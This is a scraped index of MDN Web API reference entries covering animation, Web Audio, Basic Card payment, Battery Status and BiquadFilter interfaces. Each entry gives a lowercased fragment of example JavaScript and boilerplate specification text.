examples the following code waits until all animations running on the element elem have finished, then deletes the element from the dom tree: promise.all( elem.getanimations().map( function(animation) { return animation.finished } ) ).then( function() { return elem.remove(); } ); specifications specification status comment web animationsthe definition of 'animation.finished' in that specification.
Animation.id - Web APIs
WebAPIAnimationid
examples in the follow the white rabbit example, you can assign the rabbitdownanimation an id like so: rabbitdownanimation.effect.id = "rabbitgo"; specifications specification status comment web animationsthe definition of 'animation.id' in that specification.
Animation.oncancel - Web APIs
animation.oncancel = function() { animation.effect.target.remove(); }; specifications specification status comment web animationsthe definition of 'animation.oncancel' in that specification.
Animation.pending - Web APIs
WebAPIAnimationpending
specifications specification status comment web animationsthe definition of 'pending' in that specification.
Animation.playbackRate - Web APIs
lice.playbackrate > .4) { redqueen_alice.playbackrate *= .9; } }, 3000); but clicking or tapping on them causes them to speed up by multiplying their playbackrate: var gofaster = function() { redqueen_alice.playbackrate *= 1.1; } document.addeventlistener("click", gofaster); document.addeventlistener("touchstart", gofaster); specifications specification status comment web animationsthe definition of 'animation.playbackrate' in that specification.
Animation.ready - Web APIs
WebAPIAnimationready
animation.pause(); animation.ready.then(function() { // displays 'running' alert(animation.playstate); }); animation.play(); specifications specification status comment web animationsthe definition of 'animation.ready' in that specification.
Animation.reverse() - Web APIs
WebAPIAnimationreverse
everse alicechange.playbackrate = -1; alicechange.play(); // play the bottle's animation drinking.play() } but it could also have been done by calling reverse() on alicechange like so: var shrinkalice = function() { // play alice's animation in reverse alicechange.reverse(); // play the bottle's animation drinking.play() } specifications specification status comment web animationsthe definition of 'reverse()' in that specification.
Animation.startTime - Web APIs
specifications specification status comment web animationsthe definition of 'animation.starttime' in that specification.
Animation.timeline - Web APIs
examples here we set the animation's timeline to be the same as the document's timeline (this is the default timeline for all animations, by the way): animation.timeline = document.timeline; specifications specification status comment web animationsthe definition of 'animation.timeline' in that specification.
AnimationEffect.getTiming() - Web APIs
specifications specification status comment web animationsthe definition of 'animationeffect.gettiming()' in that specification.
AnimationEffect.updateTiming() - Web APIs
specifications specification status comment web animationsthe definition of 'animationeffect.updatetiming()' in that specification.
AnimationEffect - Web APIs
specifications specification status comment web animationsthe definition of 'animationeffect' in that specification.
AnimationEvent() - Web APIs
specifications specification status comment css animationsthe definition of 'animationevent()' in that specification.
AnimationEvent.animationName - Web APIs
syntax name = animationevent.animationname specifications specification status comment css animationsthe definition of 'animationevent.animationname' in that specification.
AnimationEvent.elapsedTime - Web APIs
syntax time = animationevent.elapsedtime specifications specification status comment css animationsthe definition of 'animationevent.elapsedtime' in that specification.
AnimationEvent.initAnimationEvent() - Web APIs
summary the animationevent.initanimationevent() method initializes an animation event created using the deprecated document.createevent("animationevent") method.
AnimationEvent - Web APIs
specifications specification status comment css animationsthe definition of 'animationevent' in that specification.
AnimationPlaybackEvent.AnimationPlaybackEvent() - Web APIs
specifications specification status comment web animationsthe definition of 'animationplaybackevent()' in that specification.
AnimationPlaybackEvent.currentTime - Web APIs
specifications specification status comment web animationsthe definition of 'animationplaybackevent.currenttime' in that specification.
AnimationPlaybackEvent.timelineTime - Web APIs
specifications specification status comment web animationsthe definition of 'animationplaybackevent.timelinetime' in that specification.
AnimationPlaybackEvent - Web APIs
specifications specification status comment web animationsthe definition of 'animationplaybackevent' in that specification.
AnimationTimeline.currentTime - Web APIs
specifications specification status comment web animationsthe definition of 'currenttime' in that specification.
AnimationTimeline - Web APIs
specifications specification status comment web animationsthe definition of 'animationtimeline' in that specification.
Attr.localName - Web APIs
WebAPIAttrlocalName
specifications specification status comment domthe definition of 'attr.localname' in that specification.
Attr.namespaceURI - Web APIs
WebAPIAttrnamespaceURI
specifications specification status comment domthe definition of 'attr: namespaceuri' in that specification.
Attr.prefix - Web APIs
WebAPIAttrprefix
specifications specification status comment domthe definition of 'attr: prefix' in that specification.
Attr - Web APIs
WebAPIAttr
specifications specification status comment domthe definition of 'attr' in that specification.
AudioBuffer() - Web APIs
specifications specification status comment web audio apithe definition of 'audiobuffer' in that specification.
AudioBuffer.copyFromChannel() - Web APIs
var myarraybuffer = audioctx.createbuffer(2, framecount, audioctx.samplerate); var anotherarray = new float32array(length); myarraybuffer.copyfromchannel(anotherarray, 1, 0); specification specification status comment web audio apithe definition of 'copyfromchannel' in that specification.
AudioBuffer.copyToChannel() - Web APIs
myarraybuffer.copytochannel (anotherarray,0,0); specification specification status comment web audio apithe definition of 'copytochannel' in that specification.
AudioBuffer.duration - Web APIs
this gives us the actual arraybuffer that contains the data var nowbuffering = myarraybuffer.getchanneldata(channel); for (var i = 0; i < framecount; i++) { // math.random() is in [0; 1.0] // audio needs to be in [-1.0; 1.0] nowbuffering[i] = math.random() * 2 - 1; } } console.log(myarraybuffer.duration); } specification specification status comment web audio apithe definition of 'duration' in that specification.
AudioBuffer.length - Web APIs
// this gives us the actual arraybuffer that contains the data var nowbuffering = myarraybuffer.getchanneldata(channel); for (var i = 0; i < framecount; i++) { // math.random() is in [0; 1.0] // audio needs to be in [-1.0; 1.0] nowbuffering[i] = math.random() * 2 - 1; } } console.log(myarraybuffer.length); } specification specification status comment web audio apithe definition of 'length' in that specification.
AudioBuffer.numberOfChannels - Web APIs
ives us the actual arraybuffer that contains the data var nowbuffering = myarraybuffer.getchanneldata(channel); for (var i = 0; i < framecount; i++) { // math.random() is in [0; 1.0] // audio needs to be in [-1.0; 1.0] nowbuffering[i] = math.random() * 2 - 1; } } console.log(myarraybuffer.numberofchannels); } specification specification status comment web audio apithe definition of 'numberofchannels' in that specification.
AudioBuffer.sampleRate - Web APIs
this gives us the actual arraybuffer that contains the data var nowbuffering = myarraybuffer.getchanneldata(channel); for (var i = 0; i < framecount; i++) { // math.random() is in [0; 1.0] // audio needs to be in [-1.0; 1.0] nowbuffering[i] = math.random() * 2 - 1; } } console.log(myarraybuffer.samplerate); } specification specification status comment web audio apithe definition of 'samplerate' in that specification.
AudioBuffer - Web APIs
audionode to use when we want to play an audiobuffer var source = audioctx.createbuffersource(); // set the buffer in the audiobuffersourcenode source.buffer = myarraybuffer; // connect the audiobuffersourcenode to the // destination so we can hear the sound source.connect(audioctx.destination); // start the source playing source.start(); specifications specification status comment web audio apithe definition of 'audiobuffer' in that specification.
AudioBufferSourceNode.AudioBufferSourceNode() - Web APIs
specifications specification status comment web audio apithe definition of 'audiobuffersourcenode()' in that specification.
AudioBufferSourceNode.buffer - Web APIs
// this is the audionode to use when we want to play an audiobuffer var source = audioctx.createbuffersource(); // set the buffer in the audiobuffersourcenode source.buffer = myarraybuffer; specifications specification status comment web audio apithe definition of 'buffer' in that specification.
AudioBufferSourceNode.detune - Web APIs
channel++) { const nowbuffering = myarraybuffer.getchanneldata(channel); for (let i = 0; i < framecount; i++) { nowbuffering[i] = math.random() * 2 - 1; } } const source = audioctx.createbuffersource(); source.buffer = myarraybuffer; source.connect(audioctx.destination); source.detune.value = 100; // value in cents source.start(); specifications specification status comment web audio apithe definition of 'detune' in that specification.
AudioBufferSourceNode.loop - Web APIs
source.loop = true; }, function(e){"error with decoding audio data" + e.err}); } request.send(); } // wire up buttons to stop and play audio, and range slider control play.onclick = function() { getdata(); source.start(0); play.setattribute('disabled', 'disabled'); playbackcontrol.removeattribute('disabled'); } specification specification status comment web audio apithe definition of 'loop' in that specification.
AudioBufferSourceNode.loopEnd - Web APIs
loopstartcontrol.oninput = function() { source.loopstart = loopstartcontrol.value; loopstartvalue.innerhtml = loopstartcontrol.value; } loopendcontrol.oninput = function() { source.loopend = loopendcontrol.value; loopendvalue.innerhtml = loopendcontrol.value; } specifications specification status comment web audio apithe definition of 'loopend' in that specification.
AudioBufferSourceNode.loopStart - Web APIs
loopstartcontrol.oninput = function() { source.loopstart = loopstartcontrol.value; loopstartvalue.innerhtml = loopstartcontrol.value; } loopendcontrol.oninput = function() { source.loopend = loopendcontrol.value; loopendvalue.innerhtml = loopendcontrol.value; } specifications specification status comment web audio apithe definition of 'loopstart' in that specification.
AudioBufferSourceNode.playbackRate - Web APIs
sabled'); playbackcontrol.removeattribute('disabled'); } stop.onclick = function() { source.stop(0); play.removeattribute('disabled'); playbackcontrol.setattribute('disabled', 'disabled'); } playbackcontrol.oninput = function() { source.playbackrate.value = playbackcontrol.value; playbackvalue.innerhtml = playbackcontrol.value; } specification specification status comment web audio apithe definition of 'playbackrate' in that specification.
AudioConfiguration - Web APIs
'' : 'not ') + 'power efficient.' }); specifications specification status comment media capabilitiesthe definition of 'audioconfiguration' in that specification.
AudioContext() - Web APIs
var audiocontext = window.audiocontext || window.webkitaudiocontext; var audioctx = new audiocontext({ latencyhint: 'interactive', samplerate: 44100, }); specifications specification status comment web audio apithe definition of 'audiocontext()' in that specification.
AudioContext.baseLatency - Web APIs
example // default latency ("interactive") const audioctx1 = new audiocontext(); console.log(audioctx1.baselatency); // 0.00 // higher latency ("playback") const audioctx2 = new audiocontext({ latencyhint: 'playback' }); console.log(audioctx2.baselatency); // 0.15 specifications specification status comment web audio apithe definition of 'baselatency' in that specification.
AudioContext.close() - Web APIs
stopbtn.onclick = function() { audioctx.close().then(function() { startbtn.removeattribute('disabled'); susresbtn.setattribute('disabled', 'disabled'); stopbtn.setattribute('disabled', 'disabled'); }); } specifications specification status comment web audio apithe definition of 'close()' in that specification.
AudioContext.createMediaElementSource() - Web APIs
specifications specification status comment web audio apithe definition of 'createmediaelementsource()' in that specification.
AudioContext.createMediaStreamDestination() - Web APIs
specifications specification status comment web audio apithe definition of 'createmediastreamdestination()' in that specification.
AudioContext.createMediaStreamSource() - Web APIs
specifications specification status comment web audio apithe definition of 'audiocontext.createmediastreamsource()' in that specification.
AudioContext.createMediaStreamTrackSource() - Web APIs
= audioctx.createmediastreamsource(stream); let biquadfilter = audioctx.createbiquadfilter(); biquadfilter.type = "lowshelf"; biquadfilter.frequency.value = 3000; biquadfilter.gain.value = 20; source.connect(biquadfilter); biquadfilter.connect(audioctx.destination); }) .catch(function(err) { // handle getusermedia() error }); specifications specification status comment web audio apithe definition of 'createmediastreamtracksource()' in that specification.
AudioContext.getOutputTimestamp() - Web APIs
> { source.stop(0); play.removeattribute('disabled'); cancelanimationframe(raf); }); // function to output timestamps function outputtimestamps() { let ts = audioctx.getoutputtimestamp() console.log('context time: ' + ts.contexttime + ' | performance time: ' + ts.performancetime); raf = requestanimationframe(outputtimestamps); } specifications specification status comment web audio apithe definition of 'getoutputtimestamp()' in that specification.
AudioContext.outputLatency - Web APIs
example const audioctx = new audiocontext(); console.log(audioctx.outputlatency); specifications specification status comment web audio apithe definition of 'outputlatency' in that specification.
AudioContext.resume() - Web APIs
susresbtn.onclick = function() { if(audioctx.state === 'running') { audioctx.suspend().then(function() { susresbtn.textcontent = 'resume context'; }); } else if(audioctx.state === 'suspended') { audioctx.resume().then(function() { susresbtn.textcontent = 'suspend context'; }); } } specifications specification status comment web audio apithe definition of 'resume()' in that specification.
AudioContext.suspend() - Web APIs
susresbtn.onclick = function() { if(audioctx.state === 'running') { audioctx.suspend().then(function() { susresbtn.textcontent = 'resume context'; }); } else if(audioctx.state === 'suspended') { audioctx.resume().then(function() { susresbtn.textcontent = 'suspend context'; }); } } specifications specification status comment web audio apithe definition of 'close()' in that specification.
AudioContextLatencyCategory - Web APIs
specifications specification status comment web audio apithe definition of 'audiocontextlatencycategory' in that specification.
AudioContextOptions.latencyHint - Web APIs
specifications specification status comment web audio apithe definition of 'audiocontextoptions.latencyhint' in that specification.
AudioContextOptions - Web APIs
let musiccontext = new audiocontext({ latencyhint: "playback", samplerate: 48000 }); specifications specification status comment web audio apithe definition of 'audiocontextoptions' in that specification.
AudioDestinationNode.maxChannelCount - Web APIs
specifications specification status comment web audio apithe definition of 'maxchannelcount' in that specification.
AudioDestinationNode - Web APIs
specifications specification status comment web audio apithe definition of 'audiodestinationnode' in that specification.
AudioListener.forwardX - Web APIs
specifications specification status comment web audio apithe definition of 'forwardx' in that specification.
AudioListener.forwardY - Web APIs
specifications specification status comment web audio apithe definition of 'forwardy' in that specification.
AudioListener.forwardZ - Web APIs
specifications specification status comment web audio apithe definition of 'forwardz' in that specification.
AudioListener.positionX - Web APIs
specifications specification status comment web audio apithe definition of 'positionx' in that specification.
AudioListener.positionY - Web APIs
specifications specification status comment web audio apithe definition of 'positiony' in that specification.
AudioListener.positionZ - Web APIs
specifications specification status comment web audio apithe definition of 'positionz' in that specification.
AudioListener.setPosition() - Web APIs
specifications specification status comment web audio apithe definition of 'setposition()' in that specification.
AudioListener.upX - Web APIs
WebAPIAudioListenerupX
specifications specification status comment web audio apithe definition of 'upx' in that specification.
AudioListener.upY - Web APIs
WebAPIAudioListenerupY
specifications specification status comment web audio apithe definition of 'upy' in that specification.
AudioListener.upZ - Web APIs
WebAPIAudioListenerupZ
specifications specification status comment web audio apithe definition of 'upz' in that specification.
AudioListener - Web APIs
specifications specification status comment web audio apithe definition of 'audiolistener' in that specification.
AudioNode.channelCount - Web APIs
example var audiocontext = window.audiocontext || window.webkitaudiocontext; var audioctx = new audiocontext(); var oscillator = audioctx.createoscillator(); var gainnode = audioctx.creategain(); oscillator.connect(gainnode); gainnode.connect(audioctx.destination); oscillator.channelcount; specifications specification status comment web audio apithe definition of 'channelcount' in that specification.
AudioNode.channelCountMode - Web APIs
example var audiocontext = window.audiocontext || window.webkitaudiocontext; var audioctx = new audiocontext(); var oscillator = audioctx.createoscillator(); var gainnode = audioctx.creategain(); oscillator.connect(gainnode); gainnode.connect(audioctx.destination); oscillator.channelcountmode = 'explicit'; specifications specification status comment web audio apithe definition of 'channelcountmode' in that specification.
AudioNode.connect() - Web APIs
WebAPIAudioNodeconnect
specifications specification status comment web audio apithe definition of 'connect() to an audionode' in that specification.
AudioNode.context - Web APIs
WebAPIAudioNodecontext
t = window.audiocontext || window.webkitaudiocontext; const audioctx = new audiocontext(); const oscillator = audioctx.createoscillator(); const gainnode = audioctx.creategain(); oscillator.connect(gainnode).connect(audioctx.destination); console.log(oscillator.context); // audiocontext console.log(oscillator.context === audioctx); // true specifications specification status comment web audio apithe definition of 'context' in that specification.
AudioNode.disconnect() - Web APIs
example var audiocontext = window.audiocontext || window.webkitaudiocontext; var audioctx = new audiocontext(); var oscillator = audioctx.createoscillator(); var gainnode = audioctx.creategain(); oscillator.connect(gainnode); gainnode.connect(audioctx.destination); gainnode.disconnect(); specifications specification status comment web audio apithe definition of 'disconnect' in that specification.
AudioNode.numberOfInputs - Web APIs
example const audioctx = new audiocontext(); const oscillator = audioctx.createoscillator(); const gainnode = audioctx.creategain(); oscillator.connect(gainnode).connect(audioctx.destination); console.log(oscillator.numberofinputs); // 0 console.log(gainnode.numberofinputs); // 1 console.log(audioctx.destination.numberofinputs); // 1 specifications specification status comment web audio apithe definition of 'numberofinputs' in that specification.
AudioNode.numberOfOutputs - Web APIs
example const audioctx = new audiocontext(); const oscillator = audioctx.createoscillator(); const gainnode = audioctx.creategain(); oscillator.connect(gainnode).connect(audioctx.destination); console.log(oscillator.numberofoutputs); // 1 console.log(gainnode.numberofoutputs); // 1 console.log(audioctx.destination.numberofoutputs); // 0 specifications specification status comment web audio apithe definition of 'numberofoutputs' in that specification.
AudioNodeOptions - Web APIs
(see audionode.channelcountmode for more information including default values.) specifications specification status comment web audio apithe definition of 'audionodeoptions' in that specification.
AudioParam.cancelAndHoldAtTime() - Web APIs
specifications specification status comment web audio apithe definition of 'cancelandholdattime()' in that specification.
AudioParam.cancelScheduledValues() - Web APIs
examples var gainnode = audioctx.creategain(); gainnode.gain.setvaluecurveattime(wavearray, audioctx.currenttime, 2); //'gain' is the audioparam gainnode.gain.cancelscheduledvalues(audioctx.currenttime); specifications specification status comment web audio apithe definition of 'cancelscheduledvalues' in that specification.
AudioParam.defaultValue - Web APIs
example const audioctx = new audiocontext(); const gainnode = audioctx.creategain(); const defaultval = gainnode.gain.defaultvalue; console.log(defaultval); // 1 console.log(defaultval === gainnode.gain.value); // true specifications specification status comment web audio apithe definition of 'defaultvalue' in that specification.
AudioParam.exponentialRampToValueAtTime() - Web APIs
specifications specification status comment web audio apithe definition of 'exponentialramptovalueattime' in that specification.
AudioParam.linearRampToValueAtTime() - Web APIs
renttime); source.connect(gainnode); gainnode.connect(audioctx.destination); // set buttons to do something onclick linearrampplus.onclick = function() { gainnode.gain.linearramptovalueattime(1.0, audioctx.currenttime + 2); } linearrampminus.onclick = function() { gainnode.gain.linearramptovalueattime(0, audioctx.currenttime + 2); } specifications specification status comment web audio apithe definition of 'linearramptovalueattime' in that specification.
AudioParam.maxValue - Web APIs
example const audioctx = new audiocontext(); const gainnode = audioctx.creategain(); console.log(gainnode.gain.maxvalue); // 3.4028234663852886e38 specifications specification status comment web audio apithe definition of 'maxvalue' in that specification.
AudioParam.minValue - Web APIs
example const audioctx = new audiocontext(); const gainnode = audioctx.creategain(); console.log(gainnode.gain.minvalue); // -3.4028234663852886e38 specifications specification status comment web audio apithe definition of 'minvalue' in that specification.
AudioParam.setValueAtTime() - Web APIs
); gainnode.connect(audioctx.destination); // set buttons to do something onclick targetattimeplus.onclick = function() { currgain += 0.25; gainnode.gain.setvalueattime(currgain, audioctx.currenttime + 1); } targetattimeminus.onclick = function() { currgain -= 0.25; gainnode.gain.setvalueattime(currgain, audioctx.currenttime + 1); } specifications specification status comment web audio apithe definition of 'setvalueattime' in that specification.
AudioParam.setValueCurveAtTime() - Web APIs
do something onclick var wavearray = new float32array(9); wavearray[0] = 0.5; wavearray[1] = 1; wavearray[2] = 0.5; wavearray[3] = 0; wavearray[4] = 0.5; wavearray[5] = 1; wavearray[6] = 0.5; wavearray[7] = 0; wavearray[8] = 0.5; valuecurve.onclick = function() { gainnode.gain.setvaluecurveattime(wavearray, audioctx.currenttime, 2); } specifications specification status comment web audio apithe definition of 'setvaluecurveattime' in that specification.
AudioParam.value - Web APIs
WebAPIAudioParamvalue
const audioctx = new audiocontext(); const gainnode = audioctx.creategain(); gainnode.gain.value = 0.4; //which is identical to: gainnode.gain.setvalueattime(0.4, audioctx.currenttime); specifications specification status comment web audio apithe definition of 'value' in that specification.
AudioParam - Web APIs
or = audioctx.createdynamicscompressor(); compressor.threshold.setvalueattime(-50, audioctx.currenttime); compressor.knee.setvalueattime(40, audioctx.currenttime); compressor.ratio.setvalueattime(12, audioctx.currenttime); compressor.attack.setvalueattime(0, audioctx.currenttime); compressor.release.setvalueattime(0.25, audioctx.currenttime); specifications specification status comment web audio apithe definition of 'audioparam' in that specification.
AudioParamDescriptor - Web APIs
udioworkletnode(audiocontext, 'white-noise-processor') whitenoisenode.connect(audiocontext.destination) now we can change the gain on the node like this: const gainparam = whitenoisenode.parameters.get('customgain') gainparam.setvalueattime(0, audiocontext.currenttime) gainparam.linearramptovalueattime(0.5, audiocontext.currenttime + 0.5) specifications specification status comment web audio apithe definition of 'audioparamdescriptor' in that specification.
AudioScheduledSourceNode: ended event - Web APIs
specifications specification status comment web audio apithe definition of 'onended' in that specification.
AudioScheduledSourceNode.onended - Web APIs
node.onended = function(event) { document.getelementbyid("startbutton").disabled = false; } specifications specification status comment web audio apithe definition of 'onended' in that specification.
AudioWorklet - Web APIs
specifications specification status comment web audio apithe definition of 'audioworklet' in that specification.
AudioWorkletGlobalScope.registerProcessor - Web APIs
const audiocontext = new audiocontext() await audiocontext.audioworklet.addmodule('test-processor.js') const node = new audioworkletnode(audiocontext, 'test-processor') node.connect(audiocontext.destination) specifications specification status comment web audio apithe definition of 'registerprocessor()' in that specification.
AudioWorkletGlobalScope - Web APIs
we should see the output of console.log calls in the console: const audiocontext = new audiocontext() await audiocontext.audioworklet.addmodule('test-processor.js') const testnode = new audioworkletnode(audiocontext, 'test-processor') testnode.connect(audiocontext.destination) specifications specification status comment web audio apithe definition of 'audioworkletglobalscope' in that specification.
AudioWorkletNode() - Web APIs
specifications specification status comment web audio apithe definition of 'audioworkletnode()' in that specification.
AudioWorkletNode.onprocessorerror - Web APIs
}; examples // fill in example snippet specifications specification status comment web audio apithe definition of 'onprocessorerror' in that specification.
AudioWorkletNodeOptions - Web APIs
examples // fill in example snippet specifications specification status comment web audio apithe definition of 'audioworkletnodeoptions' in that specification.
AudioWorkletProcessor() - Web APIs
.js') const testnode = new audioworkletnode(audiocontext, 'test-processor', { processoroptions: { someusefulvariable: new map([[1, 'one'], [2, 'two']]) } }) the console output will be as follows: > 1 // audioworkletnode options.numberofinputs set to default > map(2) {1 => "one", 2 => "two"} // a cloned map under someusefulvariable specifications specification status comment web audio apithe definition of 'audioworkletprocessor()' in that specification.
AudioWorkletProcessor.parameterDescriptors (static getter) - Web APIs
udioworkletnode(audiocontext, 'white-noise-processor') whitenoisenode.connect(audiocontext.destination) now we can change the gain on the node like this: const gainparam = whitenoisenode.parameters.get('customgain') gainparam.setvalueattime(0, audiocontext.currenttime) gainparam.linearramptovalueattime(0.5, audiocontext.currenttime + 0.5) specifications specification status comment web audio apithe definition of 'parameterdescriptors' in that specification.
BaseAudioContext.audioWorklet - Web APIs
specifications specification status comment web audio apithe definition of 'audioworklet' in that specification.
BaseAudioContext.createAnalyser() - Web APIs
bufferlength; i++) { var v = dataarray[i] / 128.0; var y = v * height/2; if(i === 0) { canvasctx.moveto(x, y); } else { canvasctx.lineto(x, y); } x += slicewidth; } canvasctx.lineto(canvas.width, canvas.height/2); canvasctx.stroke(); }; draw(); specifications specification status comment web audio apithe definition of 'createanalyser()' in that specification.
BaseAudioContext.createChannelMerger() - Web APIs
merger.connect(dest); }); specifications specification status comment web audio apithe definition of 'createchannelmerger()' in that specification.
BaseAudioContext.createChannelSplitter() - Web APIs
merger.connect(dest); }); specifications specification status comment web audio apithe definition of 'createchannelsplitter()' in that specification.
BaseAudioContext.createConstantSource() - Web APIs
specifications specification status comment web audio apithe definition of 'createconstantsource()' in that specification.
BaseAudioContext.createDynamicsCompressor() - Web APIs
tination); source.connect(compressor); compressor.connect(audioctx.destination); } else if(active == 'true') { button.setattribute('data-active', 'false'); button.innerhtml = 'add compression'; source.disconnect(compressor); compressor.disconnect(audioctx.destination); source.connect(audioctx.destination); } } specifications specification status comment web audio apithe definition of 'createdynamicscompressor()' in that specification.
BaseAudioContext.createGain() - Web APIs
gainnode.gain.setvalueattime(0, audioctx.currenttime); mute.id = "activated"; mute.innerhtml = "unmute"; } else { gainnode.gain.setvalueattime(1, audioctx.currenttime); mute.id = ""; mute.innerhtml = "mute"; } } specifications specification status comment web audio apithe definition of 'creategain()' in that specification.
BaseAudioContext.createIIRFilter() - Web APIs
specifications specification status comment web audio apithe definition of 'createiirfilter()' in that specification.
BaseAudioContext.createOscillator() - Web APIs
te web audio api context var audioctx = new (window.audiocontext || window.webkitaudiocontext)(); // create oscillator node var oscillator = audioctx.createoscillator(); oscillator.type = 'square'; oscillator.frequency.setvalueattime(3000, audioctx.currenttime); // value in hertz oscillator.connect(audioctx.destination); oscillator.start(); specifications specification status comment web audio apithe definition of 'createoscillator' in that specification.
BaseAudioContext.createPanner() - Web APIs
specifications specification status comment web audio apithe definition of 'createpanner()' in that specification.
BaseAudioContext.createPeriodicWave() - Web APIs
specifications specification status comment web audio apithe definition of 'createperiodicwave' in that specification.
BaseAudioContext.createStereoPanner() - Web APIs
pannode.pan.setvalueattime(pancontrol.value, audioctx.currenttime); panvalue.innerhtml = pancontrol.value; } // connect the mediaelementaudiosourcenode to the pannode // and the pannode to the destination, so we can play the // music and adjust the panning using the controls source.connect(pannode); pannode.connect(audioctx.destination); specifications specification status comment web audio apithe definition of 'createstereopanner()' in that specification.
BaseAudioContext.currentTime - Web APIs
specifications specification status comment web audio apithe definition of 'currenttime' in that specification.
BaseAudioContext.decodeAudioData() - Web APIs
(); source.start(0); play.setattribute('disabled', 'disabled'); } stop.onclick = function() { source.stop(0); play.removeattribute('disabled'); } // dump script to pre element pre.innerhtml = myscript.innerhtml; new promise-based syntax ctx.decodeaudiodata(audiodata).then(function(decodeddata) { // use the decoded data here }); specifications specification status comment web audio apithe definition of 'decodeaudiodata()' in that specification.
BaseAudioContext.destination - Web APIs
var audiocontext = window.audiocontext || window.webkitaudiocontext; var audioctx = new audiocontext(); // older webkit/blink browsers require a prefix var oscillatornode = audioctx.createoscillator(); var gainnode = audioctx.creategain(); oscillatornode.connect(gainnode); gainnode.connect(audioctx.destination); specifications specification status comment web audio apithe definition of 'destination' in that specification.
BaseAudioContext.listener - Web APIs
var mylistener = audioctx.listener; specifications specification status comment web audio apithe definition of 'listener' in that specification.
BaseAudioContext.onstatechange - Web APIs
audioctx.onstatechange = function() { console.log(audioctx.state); } specifications specification status comment web audio apithe definition of 'onstatechange' in that specification.
BaseAudioContext.sampleRate - Web APIs
console.log(audioctx.samplerate); specifications specification status comment web audio apithe definition of 'samplerate' in that specification.
BaseAudioContext.state - Web APIs
audioctx.onstatechange = function() { console.log(audioctx.state); } specifications specification status comment web audio apithe definition of 'state' in that specification.
BasicCardRequest.supportedNetworks - Web APIs
}; var request = new paymentrequest(supportedinstruments, details, options); specifications specification status comment basic card paymentthe definition of 'supportednetworks' in that specification.
BasicCardRequest - Web APIs
billing address is a paymentaddress object } } specifications specification status comment basic card paymentthe definition of 'basiccardrequest' in that specification.
BasicCardResponse.billingAddress - Web APIs
billing address is a paymentaddress object } } specifications specification status comment basic card paymentthe definition of 'billingaddress' in that specification.
BasicCardResponse.cardNumber - Web APIs
billing address is a paymentaddress object } } specifications specification status comment basic card paymentthe definition of 'cardnumber' in that specification.
BasicCardResponse.cardSecurityCode - Web APIs
billing address is a paymentaddress object } } specifications specification status comment basic card paymentthe definition of 'cardsecuritycode' in that specification.
BasicCardResponse.cardholderName - Web APIs
billing address is a paymentaddress object } } specifications specification status comment basic card paymentthe definition of 'cardholdername' in that specification.
BasicCardResponse.expiryMonth - Web APIs
billing address is a paymentaddress object } } specifications specification status comment basic card paymentthe definition of 'expirymonth' in that specification.
BasicCardResponse.expiryYear - Web APIs
billing address is a paymentaddress object } } specifications specification status comment basic card paymentthe definition of 'expiryyear' in that specification.
BatteryManager.charging - Web APIs
example html content <div id="charging">(charging state unknown)</div> javascript content navigator.getbattery().then(function(battery) { var charging = battery.charging; document.queryselector('#charging').textcontent = charging ; }); specifications specification status comment battery status api candidate recommendation initial definition ...
BatteryManager.chargingTime - Web APIs
example html content <div id="chargingtime">(charging time unknown)</div> javascript content navigator.getbattery().then(function(battery) { var time = battery.chargingtime; document.queryselector('#chargingtime').textcontent = battery.chargingtime; }); specifications specification status comment battery status api candidate recommendation initial definition ...
BatteryManager.dischargingTime - Web APIs
example html content <div id="dischargingtime">(discharging time unknown)</div> javascript content navigator.getbattery().then(function(battery) { var time = battery.dischargingtime; document.queryselector('#dischargingtime').textcontent = battery.dischargingtime; }); specifications specification status comment battery status api candidate recommendation initial definition ...
BatteryManager.level - Web APIs
example html content <div id="level">(battery level unknown)</div> javascript content navigator.getbattery().then(function(battery) { var level = battery.level; document.queryselector('#level').textcontent = level; }); specifications specification status comment battery status api candidate recommendation initial definition ...
BatteryManager.onchargingchange - Web APIs
">(charging time unknown)</div> javascript content navigator.getbattery().then(function(battery) { battery.onchargingchange = chargingchange(); function chargingchange() { document.queryselector('#level').textcontent = battery.level; document.queryselector('#chargingtime').textcontent = battery.chargingtime; } }); specifications specification status comment battery status api candidate recommendation initial definition ...
BatteryManager.onchargingtimechange - Web APIs
known)</div> javascript content navigator.getbattery().then(function(battery) { battery.onchargingtimechange = chargingtimechange(); function chargingtimechange(){ document.queryselector('#level').textcontent = battery.level; document.queryselector('#chargingtime').textcontent = battery.chargingtime; } }); specifications specification status comment battery status api candidate recommendation initial definition ...
BatteryManager.ondischargingtimechange - Web APIs
/div> javascript content navigator.getbattery().then(function(battery) { battery.ondischargingtimechange = dischargingtimechange; function dischargingtimechange(){ document.queryselector('#level').textcontent = battery.level; document.queryselector('#chargingtime').textcontent = battery.chargingtime; } }); specifications specification status comment battery status api candidate recommendation initial definition ...
BatteryManager.onlevelchange - Web APIs
#level').textcontent = battery.level; if(battery.charging) { document.queryselector('#statebaterry').textcontent = "charging time: " + (battery.chargingtime / 60); } else { document.queryselector('#statebaterry').textcontent = "discharging time: " + (battery.dischargingtime / 60); } }; }); specifications specification status comment battery status api candidate recommendation initial definition ...
BatteryManager - Web APIs
void seteventhandler(domstring type, eventhandler handler) eventhandler geteventhandler(domstring type) specifications specification status comment battery status api candidate recommendation initial definition ...
Battery Status API - Web APIs
specifications specification status comment battery status api candidate recommendation initial definition.
BeforeUnloadEvent - Web APIs
.addeventlistener("beforeunload", function (e) { var confirmationmessage = "\o/"; (e || window.event).returnvalue = confirmationmessage; // gecko + ie return confirmationmessage; /* safari, chrome, and other * webkit-derived browsers */ }); specifications specification status comment html living standardthe definition of 'beforeunloadevent' in that specification.
BiquadFilterNode() - Web APIs
specifications specification status comment web audio apithe definition of 'biquadfilternode()' in that specification.
BiquadFilterNode.Q - Web APIs
ct(convolver); convolver.connect(gainnode); gainnode.connect(audioctx.destination); // manipulate the biquad filter biquadfilter.type = "lowshelf"; biquadfilter.frequency.value = 1000; biquadfilter.gain.value = 25; biquadfilter.type = "peaking"; biquadfilter.frequency.value = 1000; biquadfilter.q.value = 100; biquadfilter.gain.value = 25; specifications specification status comment web audio apithe definition of 'q' in that specification.
BiquadFilterNode.detune - Web APIs
(analyser); analyser.connect(distortion); distortion.connect(biquadfilter); biquadfilter.connect(convolver); convolver.connect(gainnode); gainnode.connect(audioctx.destination); // manipulate the biquad filter biquadfilter.type = "lowshelf"; biquadfilter.frequency.value = 1000; biquadfilter.gain.value = 25; biquadfilter.detune.value = 100; specifications specification status comment web audio apithe definition of 'detune' in that specification.
BiquadFilterNode.frequency - Web APIs
